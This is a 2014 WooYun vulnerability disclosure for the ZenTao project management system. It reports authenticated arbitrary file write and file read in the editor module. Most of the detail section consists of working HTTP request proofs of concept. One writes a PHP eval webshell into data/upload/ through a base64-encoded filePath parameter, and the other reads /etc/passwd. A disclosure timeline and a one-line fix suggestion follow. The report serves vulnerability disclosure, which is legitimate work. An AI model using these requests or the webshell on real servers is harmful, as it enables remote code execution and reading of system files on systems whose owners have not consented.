漏洞概要 关注数(30) 关注此漏洞
缺陷编号: WooYun-2014-76130
漏洞标题: 禅道漏洞第二弹后台读写任意文件/getshell
相关厂商: 禅道
漏洞作者: papaver
提交时间: 2014-09-17 18:48
公开时间: 2014-12-14 18:50
漏洞类型: 文件上传导致任意代码执行
危害等级: 高
自评Rank: 20
漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 任意文件上传 任意文件上传
漏洞详情
披露状态:
2014-09-17: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商已经确认,细节仅向厂商公开
2014-09-23: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-14: 细节向公众公开
简要描述:
说好的禅道漏洞第二弹,不过跟第一个一样,还是有利用条件,那就是进入后台了
多少有些鸡肋,但是危害很大
详细说明:
漏洞1: 任意文件写入漏洞 自评风险:严重
问题出在这里
这里新建方法的时候,其实会写到限定目录的,限定后是无法访问的所以这里,即使成功写也无法利用。不过,我们能跳出它的限制
老规矩,看poc
POST /zd/www/index.php?m=editor&f=save&filePath=L3Zhci93d3cvemQvd3d3L2RhdGEvdXBsb2FkLzEucGhw&action=newPage HTTP/1.1
Host: **.**.**.**:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**:81/zd/www/index.php?m=editor&f=edit&filePath=L3Zhci93d3cvemQvbW9kdWxlL2luc3RhbGwvZXh0L2NvbnRyb2wvaW5mby5waHA=&action=newPage&isExtends=
Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
fileContent=<?php@eval($_POST['test']);?>
filePath 的值其实是目标文件的base64的编码值,所以,这里只要修改下就可以搞定了,当然,你得找个既能写入又能访问的目录,明显,data/upload/就是我们要的
直接拿到后门了。是不是很简单,别问我怎么得到物理路径的,随便到处都是,编辑的地方都有。
漏洞2:读文件 自评风险:高危
这个其实根据上面那个发现方法一样,利用方法也一样,只是这次换成读任意文件。
看poc:
GET /zd/www/index.php?m=editor&f=edit&filePath=L2V0Yy9wYXNzd2Q=&action=override&isExtends= HTTP/1.1
Host: **.**.**.**:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**:81/zd/www/index.php?m=editor&f=extend&moduleDir=install
Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6
Connection: keep-alive
L2V0Yy9wYXNzd2Q= 这个就是/etc/passwd的base64的值了
漏洞证明:
一直觉得这个证明的框有些多余,每个漏洞说明的时候其实就加上证明了。
个人测试了5.2 ,5.3 ,6.2 三个版本,都存在这个问题。只要你有后台权限,肯定拿shell的。
其中,url换成伪静态的时候远离也一样,那一长串就是目标文件的url的base64,记住这个就好了。
修复方案:
老生常谈了,限制限制还是限制,不能想读那个就读那个,想写那个就写那个啊,
版权声明:转载请注明来源 papaver@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2014-09-20 13:46
厂商回复:
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值